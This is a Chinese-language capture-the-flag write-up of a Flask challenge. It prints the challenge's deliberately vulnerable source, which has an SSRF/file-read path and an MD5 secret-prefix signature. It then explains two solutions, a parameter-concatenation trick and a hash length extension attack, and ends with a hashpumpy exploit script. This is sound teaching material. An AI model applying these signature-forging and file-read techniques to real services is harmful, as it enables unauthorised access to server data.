题目：直接给代码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

解法一
1.有一个很重要的路由

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

倒数第二行task由四个参数经过Task方法构成。其中，action，sign两个参数由cookie得到，ip是本机ip，而param经过waf方法，如果param成功进入，则会执行Exec()方法。
2.接下来去看waf怎么写的

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

注意这里的startswith方法，作用是检测是否以指定字符串开头，这里如果是gopher或file就会返回True如果不是就返回False。而如果waf返回真，则在步骤1的路由中，if判断就会返回No Hacker，如果返回假，则在该判断中就会执行执行Exec()方法。所以就是过滤了gopher和file这两个协议，不能直接读flag。
3.那下面只剩下Exec()方法还没有看了。

   def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

如果self.checkSign()为真，那么我们可以将传递的param参数进入到scan方法，先跟进scan方法：

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

看到read()方法，发现只要构造param参数传入，就可以达到读取文件的效果。那我们首先要将param传入，而只有self.checkSign()的if判断为真的时候，param才会传入。
4.跟进self.checkSign()方法：

def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

需要让getSign(由cookie得到的action, 经过waf由get传参得到的param）==由cookie得到的sign）为真！
getSign在下边，但是并不知道secert_key的值
5.但是还有另一个方法

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

getSign(‘action’,GET传递的param)的值。这里我们GET的param参数的值很明确，就是flag.txt,我们能通过geneSign得到的sign的值是md5(secret_key+param+‘scan’),而最后我们在/De1ta?param=的值一定是flag.txt,而且必须要满足：

if "scan" in self.action
if "read" in self.action:

6.所以我们可以在/geneSign中的param参数传入的值设为 flag.txtread，这样我们得到的sign就是 md5(secret_key+flag.txtreadscan),而访问/De1ta?param传递的值为flag.txt，且通过cookie传入的action的值为readscan,这样

getSign(self.action, self.param) == getSign(flag.txtreadscan) 
== md5(secret_key+flag.txtreadscan)

而sign的值已知
7./geneSign?param=flag.txtread

image.png

image.png

解法二

def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

hash长度扩展攻击
hash长度扩展攻击是指针对某些允许包含额外信息的加密散列函数（MD5，sha1等）的攻击手段
理解其加密的过程就能理解扩展攻击，因为MD5加密是分组加密的
原理：Hash Length Extension Attack
或者是自己写脚本

import hashpumpy
import requests
import urllib.parse

txt1 = 'flag.txt'
r = requests.get('http://37689afb-4f6f-435a-a6e5-10c386563084.node3.buuoj.cn/geneSign', params={'param': txt1})
sign = r.text
hash_sign = hashpumpy.hashpump(sign, txt1 + 'scan', 'read', 16)

r = requests.get('http://37689afb-4f6f-435a-a6e5-10c386563084.node3.buuoj.cn/De1ta', params={'param': txt1}, cookies={
    'sign': hash_sign[0],
    'action': urllib.parse.quote(hash_sign[1][len(txt1):])
})

print(r.text)